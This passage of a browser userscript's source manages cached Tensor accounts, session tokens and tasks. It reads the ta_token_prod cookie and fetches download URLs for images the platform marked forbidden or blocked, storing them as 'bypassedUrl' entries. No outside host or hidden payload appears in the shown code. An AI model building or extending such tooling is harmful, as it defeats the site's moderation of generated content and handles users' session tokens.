reason: '',
armedAt: 0,
lastSource: ''
}));
}
function armTensorAccountDetection(token, reason = 'manual') {
tensorAccountDetectState = {
armed: true,
token: token ? String(token) : null,
reason: String(reason || 'manual'),
armedAt: Date.now(),
lastSource: ''
};
persistTensorAccountDetectState();
return tensorAccountDetectState;
}
function clearTensorAccountDetection(source = '') {
tensorAccountDetectState = {
armed: false,
token: null,
reason: '',
armedAt: 0,
lastSource: source ? String(source) : ''
};
persistTensorAccountDetectState();
}
function cacheObservedTensorProfile(token, patch = {}) {
if (!token) return null;
const key = String(token);
const current = observedTensorProfiles[key] && typeof observedTensorProfiles[key] === 'object'
? observedTensorProfiles[key]
: {};
observedTensorProfiles[key] = {
...current,
token: key,
profile: patch.profile !== undefined ? cloneToolData(patch.profile, patch.profile) : (current.profile || null),
vipInfo: patch.vipInfo !== undefined ? cloneToolData(patch.vipInfo, patch.vipInfo) : (current.vipInfo || null),
profileCapturedAt: patch.profile !== undefined ? Date.now() : (current.profileCapturedAt || 0),
vipCapturedAt: patch.vipInfo !== undefined ? Date.now() : (current.vipCapturedAt || 0),
lastSeenAt: Date.now(),
lastProfileUrl: patch.lastProfileUrl || current.lastProfileUrl || '',
lastVipUrl: patch.lastVipUrl || current.lastVipUrl || ''
};
persistObservedTensorProfiles();
return observedTensorProfiles[key];
}
function getObservedTensorProfileSnapshot(token) {
if (!token) return { token: null, profile: null, vipInfo: null, lastSeenAt: 0 };
const key = String(token);
const observed = observedTensorProfiles[key] || {};
const cached = getCachedUserProfile(key) || {};
const liveProfile = userToken === key ? currentUserProfile : null;
const liveVipInfo = userToken === key ? currentUserVipInfo : null;
return {
token: key,
profile: liveProfile || observed.profile || cached.profile || null,
vipInfo: liveVipInfo || observed.vipInfo || cached.vipInfo || null,
lastSeenAt: observed.lastSeenAt || cached.timestamp || 0
};
}
function finalizeTensorAccountDetection(token, source = 'manual', options = {}) {
if (!token) return null;
const snapshot = getObservedTensorProfileSnapshot(token);
const profile = snapshot.profile || null;
if (!profile?.info?.userId) return null;
saveUserProfile(token, profile, snapshot.vipInfo || null);
currentPreviewUserToken = token;
try {
localStorage.setItem('freeBypassPreviewToken', token);
} catch {
// ignore
}
const shouldClearArmedState = tensorAccountDetectState.armed && (!tensorAccountDetectState.token || tensorAccountDetectState.token === String(token));
if (shouldClearArmedState) {
clearTensorAccountDetection(source);
if (options.toast !== false) {
showToast(`Detected ${profile.info.nickname || 'Current Tensor Account'} automatically.`, 'success');
}
}
return {
token,
nickname: profile.info.nickname || 'Current Tensor Account',
detected: true,
detailed: true,
source
};
}
function saveUserProfile(token, profile, vipInfo) {
if (!token) return;
// Check if this token already exists - prevent duplicates
const alreadyExists = cachedUserProfiles[token];
const hadVisibleAccount = !!cachedUserAccounts[token];
cachedUserProfiles[token] = {
profile,
vipInfo,
timestamp: Date.now()
};
localStorage.setItem(USER_PROFILE_CACHE_KEY, JSON.stringify(cachedUserProfiles));
// Also save to user accounts list
if (profile?.info?.userId) {
cachedUserAccounts[token] = {
userId: profile.info.userId,
nickname: profile.info.nickname || '',
avatar: profile.info.avatar || '',
description: profile.info.description || '',
timestamp: Date.now()
};
localStorage.setItem(USER_ACCOUNTS_KEY, JSON.stringify(cachedUserAccounts));
// Only notify if this is a new account
if (!alreadyExists && settings.showNotifications) {
showNotification('success', `Account "${profile.info.nickname || 'User'}" added to cache`);
}
if (isExpanded && currentTab === 'accounts' && (!hadVisibleAccount || !alreadyExists)) {
updateUI();
}
}
}
async function detectCurrentTensorAccount() {
const token = await getToken();
if (!token) {
throw new Error('No current Tensor account token detected.');
}
const detected = finalizeTensorAccountDetection(token, 'manual-detect', { toast: false });
if (detected) {
return detected;
}
armTensorAccountDetection(token, 'manual-detect');
const summary = getAccountSummaryForToken(token);
return {
token,
nickname: summary?.nickname || 'Current Tensor Account',
detected: false,
detailed: false,
armed: true,
needsRefresh: true,
message: 'Detection is armed, but no captured Tensor profile request was found yet. Refresh the page and the account will be added automatically when Tensor requests the profile API.'
};
}
function getCachedUserProfile(token) {
return cachedUserProfiles[token];
}
function getAllCachedAccounts() {
return Object.entries(cachedUserAccounts).map(([token, info]) => ({
token,
...info,
profileData: cachedUserProfiles[token]
}));
}
function getAccountTaskCount(token) {
const tasks = accountTasksCache[token] || {};
return Object.keys(tasks).length;
}
function associateTaskWithAccount(token, taskId, taskData) {
if (!token || !taskId) return;
if (!accountTasksCache[token]) {
accountTasksCache[token] = {};
}
accountTasksCache[token][taskId] = {
...taskData,
addedAt: Date.now()
};
localStorage.setItem(USER_ACCOUNT_TASKS_KEY, JSON.stringify(accountTasksCache));
}
function getTokenForImageId(imageId) {
// Get the task ID for this image
const itemMeta = itemMap.get(imageId);
if (!itemMeta) return null;
// Fast path: cached owner token on item meta
if (itemMeta.ownerToken) {
return itemMeta.ownerToken;
}
const taskId = itemMeta.taskId || itemMeta.routeId;
if (!taskId) return null;
// Search through all accounts to find which one owns this task
for (const [token, tasks] of Object.entries(accountTasksCache)) {
if (tasks && tasks[taskId]) {
return token;
}
// Some cached entries might be keyed by routeId vs taskId
if (tasks && (tasks[itemMeta.taskId] || tasks[itemMeta.routeId])) {
return token;
}
}
// Fallback: if task is in taskMap, try to find it via current user
// (this handles fresh tasks that haven't been fully cached yet)
if (userToken && taskId) {
const taskData = taskMap.get(taskId);
if (taskData) {
// Check if this task is associated with current user
const currentUserTasks = accountTasksCache[userToken] || {};
if (currentUserTasks[taskId]) {
return userToken;
}
}
}
return null;
}
function tokenPreview(token, left = 10, right = 8) {
if (!token) return '';
const t = String(token);
if (t.length <= left + right + 3) return t;
return `${t.slice(0, left)}...${t.slice(-right)}`;
}
function getAccountSummaryForToken(token) {
if (!token) return null;
const info = cachedUserAccounts[token] || {};
const profileData = cachedUserProfiles[token] || {};
return {
token,
userId: info.userId || profileData?.profile?.info?.userId || null,
nickname: info.nickname || profileData?.profile?.info?.nickname || 'Unknown User',
avatar: info.avatar || profileData?.profile?.info?.avatar || '',
isCurrent: userToken === token
};
}
function logActiveTokenUsage(context) {
try {
const activeTokens = getActiveTokens();
const labels = activeTokens.map(t => {
const s = getAccountSummaryForToken(t);
const name = s?.nickname || 'Unknown';
return `${name}(${tokenPreview(t)})`;
});
console.log(`[TokenUsage] ${context} | active=${activeTokens.length}`, labels);
} catch (e) {
// ignore
}
}
function buildAccountExportData(token) {
const profile = cachedUserProfiles[token];
const account = cachedUserAccounts[token];
const tasks = accountTasksCache[token] || {};
// Get all tasks from taskMap - include all if this is the user's account
const allTasks = [];
const isCurrentUser = token === userToken;
taskMap.forEach((taskData, taskId) => {
// Include task if: it's in accountTasksCache OR we're exporting current user's account
const shouldInclude = tasks[taskId] || isCurrentUser || !token;
if (shouldInclude) {
const taskItems = [];
itemMap.forEach((itemMeta, imageId) => {
if (itemMeta.taskId === taskId) {
const itemData = itemsData.find(i => i.id === imageId) || {};
taskItems.push({
imageId,
...itemMeta,
...itemData,
bypassedUrl: getCachedDownloadUrl(imageId, itemMeta.mimeType || itemData.mimeType || '') || itemData.url || null
});
}
});
allTasks.push({
taskId,
...taskData,
items: taskItems
});
}
});
return {
account: {
token: token ? (token.substring(0, 20) + '...') : null,
tokenMasked: true,
userId: account?.userId,
nickname: account?.nickname,
avatar: account?.avatar,
description: account?.description,
vipInfo: profile?.vipInfo,
profile: profile?.profile
},
tasks: allTasks,
exportedAt: new Date().toISOString(),
totalTasks: allTasks.length,
totalItems: allTasks.reduce((sum, t) => sum + (Array.isArray(t.items) ? t.items.length : 0), 0)
};
}
function exportAccountData(token) {
const account = cachedUserAccounts[token];
const exportData = buildAccountExportData(token);
const blob = new Blob([JSON.stringify(exportData, null, 2)], { type: 'application/json' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `${account?.nickname || 'user'}_backup_${Date.now()}.json`;
a.click();
URL.revokeObjectURL(url);
}
function removeAccountData(token) {
delete cachedUserAccounts[token];
delete cachedUserProfiles[token];
delete accountTasksCache[token];
localStorage.setItem(USER_ACCOUNTS_KEY, JSON.stringify(cachedUserAccounts));
localStorage.setItem(USER_PROFILE_CACHE_KEY, JSON.stringify(cachedUserProfiles));
localStorage.setItem(USER_ACCOUNT_TASKS_KEY, JSON.stringify(accountTasksCache));
if (selectedAccountsForCompile.has(token)) {
selectedAccountsForCompile.delete(token);
}
if (token === userToken) {
currentPreviewUserToken = userToken;
}
}
function getTaskOwnerName(taskId) {
if (!taskId) return null;
for (const [token, tasks] of Object.entries(accountTasksCache)) {
if (tasks && (tasks[taskId] || tasks[taskId?.slice?.(0, 18)])) {
const account = cachedUserAccounts[token];
return account?.nickname || 'Unknown User';
}
// Try matching by startsWith (routeId vs taskId)
if (tasks) {
for (const key of Object.keys(tasks)) {
if (!key) continue;
if (String(taskId).startsWith(key) || String(key).startsWith(taskId)) {
const account = cachedUserAccounts[token];
return account?.nickname || 'Unknown User';
}
}
}
}
return null;
}
// Active tokens management (persistent storage)
function getActiveTokens() {
const stored = localStorage.getItem('freeBypassActiveTokens');
const tokens = stored ? JSON.parse(stored) : [];
// Always include current user token if available
if (userToken && !tokens.includes(userToken)) {
tokens.push(userToken);
setActiveTokens(tokens);
}
return tokens;
}
function setActiveTokens(tokens) {
const uniqueTokens = [...new Set(tokens)]; // Remove duplicates
localStorage.setItem('freeBypassActiveTokens', JSON.stringify(uniqueTokens));
}
function addActiveToken(token) {
const tokens = getActiveTokens();
if (!tokens.includes(token)) {
tokens.push(token);
setActiveTokens(tokens);
}
}
function removeActiveToken(token) {
const tokens = getActiveTokens();
const filtered = tokens.filter(t => t !== token);
setActiveTokens(filtered);
}
function clearActiveTokens() {
// Keep only current user token
setActiveTokens(userToken ? [userToken] : []);
}
function getItemsForCurrentAccount() {
// Get active tokens from storage
const activeTokens = getActiveTokens();
// If forceTasksAcrossAccounts is enabled, treat all cached tokens as active.
const tokensToUse = settings.forceTasksAcrossAccounts
? Object.keys(accountTasksCache || {})
: activeTokens;
// Build items from all active tokens' cached tasks
// Cache shape (from associateTaskWithAccount):
// accountTasksCache[token][taskId] = { ...taskData, addedAt }
// where taskData.items are raw task items, usually with `imageId` (not `id`).
const allItems = [];
const seenIds = new Set();
const hydrateItemMeta = (ownerToken, taskData, rawItem) => {
const imageId = rawItem?.imageId || rawItem?.id;
if (!imageId) return;
const existing = itemMap.get(imageId) || {};
// Preserve any resolved URL already in the URL cache
const cachedUrl = getCachedDownloadUrl(imageId, rawItem?.mimeType || existing.mimeType || '') || existing.url || rawItem?.url || null;
itemMap.set(imageId, {
...existing,
imageId,
taskId: taskData?.taskId || existing.taskId || null,
routeId: taskData?.routeId || existing.routeId || null,
invalid: rawItem?.invalid ?? existing.invalid,
// Preserve blockedOnOrigin: once true, always true (never downgrade)
blockedOnOrigin: rawItem?.blockedOnOrigin || existing.blockedOnOrigin || false,
mimeType: rawItem?.mimeType || existing.mimeType,
url: cachedUrl,
width: rawItem?.width || existing.width,
height: rawItem?.height || existing.height,
seed: rawItem?.seed || existing.seed,
downloadFileName: rawItem?.downloadFileName || existing.downloadFileName,
workflowTemplateInfo: taskData?.workflowTemplateInfo || existing.workflowTemplateInfo || null,
workflowInfo: taskData?.workflowInfo || existing.workflowInfo || null,
visualParameters: Array.isArray(taskData?.visualParameters)
? taskData.visualParameters
: (existing.visualParameters || []),
parameters: taskData?.parameters || existing.parameters || null,
workspaceType: taskData?.workspaceType || existing.workspaceType || null,
rawTask: taskData?.raw || existing.rawTask || taskData || null,
source: taskData?.source || existing.source || 'tensor.art',
ownerToken: ownerToken || existing.ownerToken || null
});
};
tokensToUse.forEach(token => {
const tasks = accountTasksCache[token] || {};
Object.entries(tasks).forEach(([taskId, taskData]) => {
if (!taskData || !Array.isArray(taskData.items)) return;
// Populate taskMap for richer UI (without re-associating to current token)
try {
if (taskData.taskId) taskMap.set(taskData.taskId, taskData);
if (taskData.routeId) taskMap.set(taskData.routeId, taskData);
} catch {
// ignore
}
taskData.items.forEach(rawItem => {
const imageId = rawItem?.imageId || rawItem?.id;
if (!imageId) return;
// Include items that are currently blocked OR were originally blocked (blockedOnOrigin flag
// is stamped by the response patcher so items remain visible after bypass URL is applied).
if (!isForbidden(rawItem) && rawItem?.invalid !== true && !rawItem?.blockedOnOrigin) return;
if (seenIds.has(imageId)) return;
seenIds.add(imageId);
hydrateItemMeta(token, taskData, rawItem);
// Build UI item shape
const meta = itemMap.get(imageId) || {};
allItems.push({
id: imageId,
imageId,
mimeType: meta.mimeType || rawItem?.mimeType || 'image/*',
type: getItemType(meta.mimeType || rawItem?.mimeType || ''),
taskId: taskData?.routeId || taskData?.taskId || taskId || meta.taskId || 'N/A',
createdAt: taskData?.createdAt || null,
expiresAt: taskData?.expireAt || taskData?.expiresAt || null,
width: meta.width || rawItem?.width || null,
height: meta.height || rawItem?.height || null,
url: meta.url || rawItem?.url || null,
downloadFileName: meta.downloadFileName || rawItem?.downloadFileName || null,
source: meta.source || taskData?.source || 'tensor.art'
});
});
});
});
// Sort newest-first (ids are numeric strings)
allItems.sort((a, b) => String(b.id).localeCompare(String(a.id)));
return allItems;
}
// Cache management functions
function getCacheStatistics() {
const stats = {
totalTasks: taskMap.size,
totalItems: itemsData.length,
totalSize: 0,
byType: { images: 0, videos: 0 },
byStatus: { downloaded: 0, failed: 0, pending: 0 },
itemIds: Array.from(itemMap.keys()),
taskIds: Array.from(taskMap.keys()),
hiddenCount: cacheDeletions.hidden.length,
noRegainCount: cacheDeletions.noRegain.length
};
itemsData.forEach(item => {
if (item.mimeType?.startsWith('video/')) stats.byType.videos++;
else stats.byType.images++;
const meta = getItemMetaFromId(item.id);
if (meta) stats.totalSize += (meta.size || 0);
});
return stats;
}
function markItemAsNoRegain(itemId) {
if (!cacheDeletions.noRegain.includes(itemId)) {
cacheDeletions.noRegain.push(itemId);
localStorage.setItem(CACHE_DELETION_KEY, JSON.stringify(cacheDeletions));
}
}
function markItemAsHidden(itemId) {
if (!cacheDeletions.hidden.includes(itemId)) {
cacheDeletions.hidden.push(itemId);
localStorage.setItem(CACHE_DELETION_KEY, JSON.stringify(cacheDeletions));
}
}
function removeItemNoRegain(itemId) {
cacheDeletions.noRegain = cacheDeletions.noRegain.filter(id => id !== itemId);
localStorage.setItem(CACHE_DELETION_KEY, JSON.stringify(cacheDeletions));
}
function removeItemHidden(itemId) {
cacheDeletions.hidden = cacheDeletions.hidden.filter(id => id !== itemId);
localStorage.setItem(CACHE_DELETION_KEY, JSON.stringify(cacheDeletions));
}
function deleteItemFromCache(itemId) {
itemMap.delete(itemId);
deleteCachedDownloadUrl(itemId);
itemsData = itemsData.filter(it => it.id !== itemId);
cacheDeletions.noRegain = cacheDeletions.noRegain.filter(id => id !== itemId);
cacheDeletions.hidden = cacheDeletions.hidden.filter(id => id !== itemId);
localStorage.setItem(CACHE_DELETION_KEY, JSON.stringify(cacheDeletions));
}
function clearAllCache(includeHidden = false) {
itemMap.clear();
downloadUrlCache.clear();
cacheTimestamps.clear();
itemsData = [];
taskMap.clear();
if (includeHidden) {
cacheDeletions = { noRegain: [], hidden: [] };
}
localStorage.setItem(CACHE_DELETION_KEY, JSON.stringify(cacheDeletions));
// Remove persisted download URL cache (video URLs are stored across refresh).
try {
localStorage.removeItem(DOWNLOAD_URL_CACHE_STORAGE_KEY);
} catch {
// ignore
}
if (downloadUrlCachePersistTimer) {
clearTimeout(downloadUrlCachePersistTimer);
downloadUrlCachePersistTimer = null;
}
}
function cloneToolData(value, fallback = null) {
try {
return JSON.parse(JSON.stringify(value));
} catch {
return fallback;
}
}
function loadCache() {
const storedTasksRaw = sharedNetReadTaskCacheRaw();
const mergedTasks = new Map();
Object.values(storedTasksRaw || {}).forEach((task) => {
const key = task?.taskId || task?.routeId;
if (!key) return;
mergedTasks.set(String(key), cloneToolData(task, task));
});
taskMap.forEach((taskData, key) => {
const task = taskData?.raw || taskData;
const cacheKey = task?.taskId || task?.routeId || key;
if (!cacheKey || mergedTasks.has(String(cacheKey))) return;
mergedTasks.set(String(cacheKey), cloneToolData(task, task));
});
const mergedItems = new Map();
const pushItem = (imageId, source = {}) => {
if (!imageId) return;
const existing = mergedItems.get(String(imageId)) || {};
const mimeType = source?.mimeType || existing?.mimeType || '';
const bypassedUrl = getCachedDownloadUrl(String(imageId), mimeType) || source?.bypassedUrl || source?.url || existing?.bypassedUrl || existing?.url || null;
mergedItems.set(String(imageId), {
...existing,
...cloneToolData(source, source),
imageId: String(imageId),
id: String(imageId),
bypassedUrl,
hidden: cacheDeletions.hidden.includes(String(imageId)),
noRegain: cacheDeletions.noRegain.includes(String(imageId))
});
};
itemMap.forEach((meta, imageId) => pushItem(imageId, meta));
itemsData.forEach((item) => pushItem(item?.id || item?.imageId, item));
return {
exportedAt: new Date().toISOString(),
version: SCRIPT_VERSION,
tasks: Array.from(mergedTasks.values()),
items: Array.from(mergedItems.values()),
deletions: cloneToolData(cacheDeletions, { noRegain: [], hidden: [] }),
stats: getCacheStatistics()
};
}
function saveCache(cache) {
const tasks = Array.isArray(cache?.tasks) ? cache.tasks.filter(Boolean) : [];
const nextTaskCache = {};
tasks.forEach((task) => {
const key = task?.taskId || task?.routeId;
if (!key) return;
nextTaskCache[String(key)] = cloneToolData(task, task);
});
safeLocalStorageSet(TASK_CACHE_KEY, JSON.stringify(nextTaskCache));
const nextDeletions = cache?.deletions && typeof cache.deletions === 'object'
? {
noRegain: Array.isArray(cache.deletions.noRegain) ? Array.from(new Set(cache.deletions.noRegain.map(v => String(v)))) : [],
hidden: Array.isArray(cache.deletions.hidden) ? Array.from(new Set(cache.deletions.hidden.map(v => String(v)))) : []
}
: cacheDeletions;
cacheDeletions = nextDeletions;
localStorage.setItem(CACHE_DELETION_KEY, JSON.stringify(cacheDeletions));
taskMap.clear();
itemMap.clear();
blockedItems = new Set();
itemsData = [];
tabContentCache.clear();
Object.values(nextTaskCache).forEach((task) => {
recordTaskData(task);
});
loadCachedTasksIntoItems();
}
async function resetAllToolData() {
const currentToken = await getToken().catch(() => null);
clearContextMenu();
stopAutoCheck();
stopDomInjectionWatcher();
stopTaskMonitoring();
sharedNetWsDisconnect('reset-all-tool-data');
try {
const localKeys = [];
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
if (key && key.startsWith('freeBypass')) localKeys.push(key);
}
localKeys.forEach((key) => {
try { localStorage.removeItem(key); } catch {}
});
} catch {}
try {
const sessionKeys = [];
for (let i = 0; i < sessionStorage.length; i++) {
const key = sessionStorage.key(i);
if (key && key.startsWith('freeBypass')) sessionKeys.push(key);
}
sessionKeys.forEach((key) => {
try { sessionStorage.removeItem(key); } catch {}
});
} catch {}
try { writeSharedScriptStore(EXTERNAL_PLATFORM_SETTINGS_STORE_KEY, null); } catch {}
try { if (typeof GM_setValue === 'function') GM_setValue(SHARED_NOTIFICATIONS_STORE_KEY, null); } catch {}
try {
if (typeof GM !== 'undefined' && typeof GM.setValue === 'function') {
await GM.setValue(SHARED_NOTIFICATIONS_STORE_KEY, null).catch(() => {});
}
} catch {}
const deleteDb = (name) => new Promise((resolve) => {
try {
const req = indexedDB.deleteDatabase(name);
req.onsuccess = () => resolve(true);
req.onerror = () => resolve(false);
req.onblocked = () => resolve(false);
} catch {
resolve(false);
}
});
await Promise.allSettled([deleteDb('digenS'), deleteDb('higgsfield')]);
clearAllCache(true);
selectedItems.clear();
taskActionsCache = null;
mediaStatusCache = null;
servicesStateCache = null;
announcementCache = null;
accountTasksCache = {};
cachedUserAccounts = {};
cachedUserProfiles = {};
observedTensorProfiles = {};
cachedTensorHubAccounts = {};
tensorhubTasksCache = {};
currentUserProfile = null;
currentUserVipInfo = null;
currentPreviewUserToken = null;
tensorhubUserProfile = null;
if (currentToken) {
armTensorAccountDetection(currentToken, 'reset-all');
} else {
clearTensorAccountDetection('reset-all');
}
showToast('All tool data deleted. Reloading…', 'warning');
setTimeout(() => {
window.location.reload();
}, 180);
}
// ============================================================================
// TENSORHUB INTEGRATION FUNCTIONS
// ============================================================================
function getTensorhubUserToken() {
// Only works on tensorhub.art domain
if (window.location.hostname !== 'tensorhub.art') {
return null;
}
// Extract ta_token_prod cookie from tensorhub domain
const cookies = document.cookie.split(';');
for (const cookie of cookies) {
const [name, value] = cookie.trim().split('=');
if (name === 'ta_token_prod') {
return decodeURIComponent(value);
}
}
return null;
}
async function syncTensorhubTasks() {
try {
const token = getTensorhubUserToken();
if (!token) {
console.warn('[TensorHub] No token available for syncing');
return { newTasks: 0, duplicates: 0, errors: [] };
}
if (!settings.tensorhubLinkTasks) {
return { newTasks: 0, duplicates: 0, errors: [] };
}
// Fetch tasks from TensorHub API
const response = await fetch('https://api.tensorhub.art/works/v1/works/tasks/query', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${token}`,
...settings.headers
},
body: JSON.stringify({
page: 1,
limit: 100,
sort: 'createTime',
order: 'descend'
})
});
if (!response.ok) {
const error = `API error: ${response.status}`;
console.error('[TensorHub]', error);
return { newTasks: 0, duplicates: 0, errors: [error] };
}
const data = await response.json();
let newCount = 0;
let dupCount = 0;
if (data.data?.tasks && Array.isArray(data.data.tasks)) {
for (const tensorhubTask of data.data.tasks) {
// Check if task already exists
if (taskMap.has(tensorhubTask.id)) {
dupCount++;
continue;
}
// Record task with source tag
const taskWithSource = {
...tensorhubTask,
source: 'tensorhub.art',
recordedAt: Date.now()
};
taskMap.set(tensorhubTask.id, taskWithSource);
newCount++;
// Record to localStorage
try {
const cached = JSON.parse(localStorage.getItem(CACHED_TASKS_KEY) || '{}');
cached[tensorhubTask.id] = taskWithSource;
localStorage.setItem(CACHED_TASKS_KEY, JSON.stringify(cached));
} catch (e) {
console.error('[TensorHub] Failed to cache task', e);
}
}
}
console.log(`[TensorHub] Synced ${newCount} new tasks, ${dupCount} duplicates`);
return { newTasks: newCount, duplicates: dupCount, errors: [] };
} catch (error) {
console.error('[TensorHub] Sync error:', error);
return { newTasks: 0, duplicates: 0, errors: [error.message] };
}
}
function initTensorhubListener() {
// Only initialize if on tensorhub domain and runOnTensorhub is enabled
const isTensorhubDomain = window.location.hostname === 'tensorhub.art';
if (!isTensorhubDomain || !settings.runOnTensorhub) {
return;
}
// Already intercepting fetch globally - the fetch handler will detect tensorhub API calls
console.log('[TensorHub] Listener initialized for domain:', window.location.hostname);
}
function filterTasksBySource(source = 'all') {
if (source === 'all') {
return Array.from(taskMap.values());
}
return Array.from(taskMap.values()).filter(task =>
(task.source || 'tensor.art') === source
);
}
function getMediaKindFromMime(mimeType) {
const mt = String(mimeType || '').toLowerCase();
if (mt.startsWith('video/')) return 'video';
if (mt.startsWith('image/')) return 'image';
return '';
}
function getExpectedMimeTypeForId(imageId, mimeTypeHint = '') {
if (mimeTypeHint) return mimeTypeHint;
const meta = itemMap.get(imageId) || {};
const fromItems = itemsData.find(it => it?.id === imageId) || {};
return meta.mimeType || fromItems.mimeType || '';
}
function getDownloadCacheKey(imageId, mimeTypeHint = '', forceKind = '') {
const kind = forceKind || getMediaKindFromMime(getExpectedMimeTypeForId(imageId, mimeTypeHint));
return kind ? `${imageId}|${kind}` : String(imageId);
}
function getCachedDownloadUrl(imageId, mimeTypeHint = '', forceKind = '') {
if (!imageId) return null;
if (!settings.cachingEnabled) return null;
const maxAgeMs = (Number(settings.cacheDuration) || 7) * 24 * 60 * 60 * 1000;
const now = Date.now();
const isFresh = (key) => {
const url = downloadUrlCache.get(key);
const meta = normalizeCacheMeta(cacheTimestamps.get(key));
let touched = false;
// Migration: accept older entries and timestamp them now.
if (!meta.ts || !Number.isFinite(meta.ts)) {
meta.ts = now;
touched = true;
}
// Backfill expAt using signed URL params.
if (!meta.expAt && url) {
const expAt = getSignedUrlExpiryMs(url);
if (expAt) {
meta.expAt = expAt;
touched = true;
}
}
if (touched) {
setCacheMeta(key, meta);
schedulePersistDownloadUrlCache();
}
if (isCacheEntryExpired(meta, now)) return false;
return (now - meta.ts) <= maxAgeMs;
};
const tryKey = (key) => {
if (!downloadUrlCache.has(key)) return null;
const url = downloadUrlCache.get(key);
if (!url) return null;
if (!isFresh(key)) {
downloadUrlCache.delete(key);
cacheTimestamps.delete(key);
schedulePersistDownloadUrlCache();
return null;
}
return url;
};
const preferredKey = getDownloadCacheKey(imageId, mimeTypeHint, forceKind);
const hit = tryKey(preferredKey);
if (hit) return hit;
// Legacy key (older versions cached by imageId only)
const legacy = tryKey(String(imageId));
if (legacy) return legacy;
// Fallback: any cached kind for this id
const prefix = `${imageId}|`;
for (const [k] of downloadUrlCache.entries()) {
if (String(k).startsWith(prefix)) {
const any = tryKey(k);
if (any) return any;
}
}
return null;
}
function setCachedDownloadUrl(imageId, url, mimeTypeHint = '', forceKind = '') {
if (!imageId || !url) return;
const key = getDownloadCacheKey(imageId, mimeTypeHint, forceKind);
downloadUrlCache.set(key, url);
if (settings.cachingEnabled) {
const expAt = getSignedUrlExpiryMs(url);
setCacheMeta(key, { ts: Date.now(), expAt: expAt || null });
if (shouldPersistDownloadCacheKey(key)) {
schedulePersistDownloadUrlCache();
}
}
}
function deleteCachedDownloadUrl(imageId) {
if (!imageId) return;
// Remove legacy key
downloadUrlCache.delete(imageId);
cacheTimestamps.delete(imageId);
downloadUrlCache.delete(String(imageId));
cacheTimestamps.delete(String(imageId));
// Remove per-kind keys
const prefix = `${imageId}|`;
for (const k of Array.from(downloadUrlCache.keys())) {
if (String(k).startsWith(prefix)) {
downloadUrlCache.delete(k);
cacheTimestamps.delete(k);
}
}
// Persisted store may include video keys; schedule a save to reflect deletions.
schedulePersistDownloadUrlCache();
}
function extractDownloadUrlFromApiResponse(body, preferredKind = '') {
const root = body?.data || body?.data?.data || {};
const mk = (kind, entry) => {
if (!entry) return null;
if (typeof entry === 'string') return { kind, url: entry };
if (typeof entry?.url === 'string') return { kind, url: entry.url };
if (typeof entry?.downloadUrl === 'string') return { kind, url: entry.downloadUrl };
return null;
};
const candidates = [];
if (Array.isArray(root.videos)) {
root.videos.forEach(v => {
const c = mk('video', v);
if (c?.url) candidates.push(c);
});
}
if (Array.isArray(root.images)) {
root.images.forEach(v => {
const c = mk('image', v);
if (c?.url) candidates.push(c);
});
}
if (Array.isArray(root.items)) {
root.items.forEach(v => {
const kind = getMediaKindFromMime(v?.mimeType) || '';
const c = mk(kind || 'image', v);
if (c?.url) candidates.push(c);
});
}
if (Array.isArray(root.medias)) {
root.medias.forEach(v => {
const kind = getMediaKindFromMime(v?.mimeType) || '';
const c = mk(kind || 'image', v);
if (c?.url) candidates.push(c);
});
}
if (!candidates.length) return null;
if (preferredKind) {
const hit = candidates.find(c => c.kind === preferredKind);
if (hit?.url) return hit.url;
}
return candidates[0].url || null;
}
// ── Broken Requests Cache Helpers ──────────────────────────────────────────
function getBrokenRequestCacheKey(url, payload) {
try {
const payloadStr = typeof payload === 'string' ? payload : JSON.stringify(
Object.fromEntries(Object.entries(typeof payload === 'object' && payload !== null ? payload : {}).sort())
);
return `${url}|${payloadStr}`;
} catch { return `${url}|`; }
}
function isBrokenRequest(url, payload) {
if (!settings.brokenRequestsCacheEnabled) return false;
const key = getBrokenRequestCacheKey(url, payload);
return Object.prototype.hasOwnProperty.call(brokenRequestsCache, key);
}
function markBrokenRequest(url, payload, status) {
if (!settings.brokenRequestsCacheEnabled) return;
if (!settings.brokenRequestsCacheStatusCodes.includes(Number(status))) return;
const key = getBrokenRequestCacheKey(url, payload);
brokenRequestsCache[key] = { url, payload: typeof payload === 'string' ? payload : JSON.stringify(payload), status: Number(status), cachedAt: Date.now() };
try { localStorage.setItem(BROKEN_REQUESTS_CACHE_KEY, JSON.stringify(brokenRequestsCache)); } catch { /* ignore */ }
tensorInterceptLog('warning', `[BrokenCache] Cached broken request (${status})`, { url, key });
}
function clearBrokenRequestsCache() {
brokenRequestsCache = {};
try { localStorage.removeItem(BROKEN_REQUESTS_CACHE_KEY); } catch { /* ignore */ }
}
function removeBrokenRequestEntry(key) {
delete brokenRequestsCache[key];
try { localStorage.setItem(BROKEN_REQUESTS_CACHE_KEY, JSON.stringify(brokenRequestsCache)); } catch { /* ignore */ }
}
// ────────────────────────────────────────────────────────────────────────────
// ── Batch Download URL Helpers ───────────────────────────────────────────────
function scheduleDownloadUrlBatchFlush() {
if (_downloadUrlBatchFlushTimer) return; // already scheduled
_downloadUrlBatchFlushTimer = setTimeout(() => {
_downloadUrlBatchFlushTimer = null;
flushDownloadUrlBatch();
}, DOWNLOAD_URL_BATCH_DEBOUNCE_MS);
}
async function fetchDownloadUrlBatch(imageIds, token) {
// Returns Map<imageId, url> from a single batch API request.
const headers = {
'Authorization': `Bearer ${token}`,
'Content-Type': 'application/json',
...settings.headers
};
const res = await fetch(apiUrlImage, {
method: 'POST',
headers,
body: JSON.stringify({ ids: imageIds })
});
if (!res.ok) {
throw new Error(`Batch download URL request failed: ${res.status} ${res.statusText}`);
}
const data = await res.json();
const images = data?.data?.images || [];
const urlMap = new Map();
for (const img of images) {
const id = String(img?.imageId || img?.id || '');
const url = img?.url || img?.downloadUrl || '';
if (id && url) urlMap.set(id, url);
}
return urlMap;
}
async function flushDownloadUrlBatch() {
if (_downloadUrlBatchFlushing) {
// Already running — re-schedule after current batch finishes
setTimeout(flushDownloadUrlBatch, DOWNLOAD_URL_BATCH_INTERVAL_MS);
return;
}
if (_downloadUrlBatchQueue.size === 0) return;
_downloadUrlBatchFlushing = true;
try {
const token = await getToken();
if (!token) {
for (const [, entry] of _downloadUrlBatchQueue) entry.reject(new Error('No auth token'));
_downloadUrlBatchQueue.clear();
return;
}
while (_downloadUrlBatchQueue.size > 0) {
const entries = Array.from(_downloadUrlBatchQueue.entries()).slice(0, DOWNLOAD_URL_BATCH_SIZE);
const batchIds = entries.map(([id]) => id);
